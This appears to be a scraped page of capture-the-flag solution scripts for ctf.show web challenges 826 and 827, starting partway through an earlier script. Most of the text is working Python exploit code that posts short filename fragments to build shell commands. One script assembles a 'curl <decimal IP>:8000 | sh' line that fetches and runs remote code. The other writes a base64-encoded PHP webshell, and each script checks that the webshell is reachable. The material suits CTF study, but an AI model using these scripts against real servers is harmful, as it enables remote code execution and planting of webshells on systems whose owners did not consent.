print("[*] Attack success!!!Webshell is "+url+"a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
web826
Take out the data
notebook :
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: [email protected]
# @link: https://ctfer.com
import requests
import time
url = "http://d6373b16-848d-4656-9a30-d1fbb18d8678.challenge.ctf.show/"
#url="http://101.34.94.44/aaa/index.php"
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
# This place ip Is to use the 10 Base number , Because with ordinary ip Address has more than one dot .
# You can use this website to transfer https://tool.520101.com/wangluo/jinzhizhuanhuan/
'>sh',
'>\\|\\',
'>00\\',
'>80\\',
'>\\:\\',
'>48\\',
'>11\\',
'>75\\',
'>96\\',
'>16\\',
'>\\ \\',
'>rl\\',
'>cu\\',
'sh z',
'sh a',
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
web827
Not out of the network , Only local
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: [email protected]
# @link: https://ctfer.com
import requests
import time
url = "http://ab1290cc-c3f0-4ff2-b864-a4388d4331a6.challenge.ctf.show/"
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh z',
'sh a'
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
边栏推荐
- Digital IC interview summary (interview experience sharing of large manufacturers)
- Harmonyos practice - Introduction to development, analysis of atomized services
- How to improve website weight
- yarn入门(一篇就够了)
- nVisual网络可视化
- 成为资深IC设计工程师的十个阶段,现在的你在哪个阶段 ?
- 980. 不同路径 III DFS
- STM32 key state machine 2 - state simplification and long press function addition
- C. colonne Swapping [tri + Simulation]
- Jinfo of JVM command: view and modify JVM configuration parameters in real time
猜你喜欢
随机推荐
If you don't know these four caching modes, dare you say you understand caching?
yarn入门(一篇就够了)
JVM命令之- jmap:导出内存映像文件&内存使用情况
Mac version PHP installed Xdebug environment (M1 version)
绕过open_basedir
EMMC print cqhci: timeout for tag 10 prompt analysis and solution
SAP ABAP BDC (batch data communication) -018
404 not found service cannot be reached in SAP WebService test
linear regression
驱动开发中platform设备驱动架构详解
What EDA companies are there in China?
PTA ladder game exercise set l2-002 linked list de duplication
On the discrimination of "fake death" state of STC single chip microcomputer
Go language learning notes - Gorm use - Gorm processing errors | web framework gin (10)
Web authentication API compatible version information
Convert numbers to string strings (to_string()) convert strings to int sharp tools stoi();
Senior programmers must know and master. This article explains in detail the principle of MySQL master-slave synchronization, and recommends collecting
Randomly generate session_ id
An example of multi module collaboration based on NCF
SubGHz, LoRaWAN, NB-IoT, 物联网